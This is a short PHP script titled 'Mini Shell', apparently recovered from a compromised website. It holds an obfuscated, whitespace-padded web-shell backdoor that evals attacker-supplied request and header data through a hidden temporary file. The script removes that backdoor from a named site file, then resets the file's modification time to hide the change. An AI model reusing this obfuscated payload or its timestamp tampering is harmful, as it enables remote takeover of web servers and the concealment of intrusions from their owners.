Mini Shell

<?php  $path = '/home/ukubnwwt/casa360.io/wearable.php'; $ft = @filemtime($path); $new_content = str_repeat("\t", 42).rawurldecode('%24_HEADERS%20%3D%20getallheaders%28%29%3Bif%28isset%28%24_HEADERS%5B%27If-Modified-Since%27%5D%29%29%7B%24c%3D%22%3C%5Cx3f%5Cx70h%5Cx70%5Cx20%40%5Cx65%5Cx76a%5Cx6c%5Cx28%24%5Cx5f%5Cx52E%5Cx51%5Cx55E%5Cx53%5Cx54%5B%5Cx22%5Cx43l%5Cx65%5Cx61r%5Cx2d%5Cx53i%5Cx74%5Cx65-%5Cx44%5Cx61t%5Cx61%5Cx22%5D%5Cx29%5Cx3b%40%5Cx65%5Cx76a%5Cx6c%5Cx28%24%5Cx5f%5Cx48E%5Cx41%5Cx44E%5Cx52%5Cx53%5B%5Cx22%5Cx43l%5Cx65%5Cx61r%5Cx2d%5Cx53i%5Cx74%5Cx65-%5Cx44%5Cx61t%5Cx61%5Cx22%5D%5Cx29%5Cx3b%22%3B%24f%3D%27/tmp/.%27.time%28%29%3B%40file_put_contents%28%24f%2C%20%24c%29%3B%40include%28%24f%29%3B%40unlink%28%24f%29%3B%7D')."\n"; if (file_exists($path) && is_writable($path)) {     $content = file_get_contents($path);     if (strpos($content, $new_content) !== FALSE) {         $content = str_replace($new_content, '', $content);         file_put_contents($path, $content);         @touch($path, $ft);     } } die('!success!');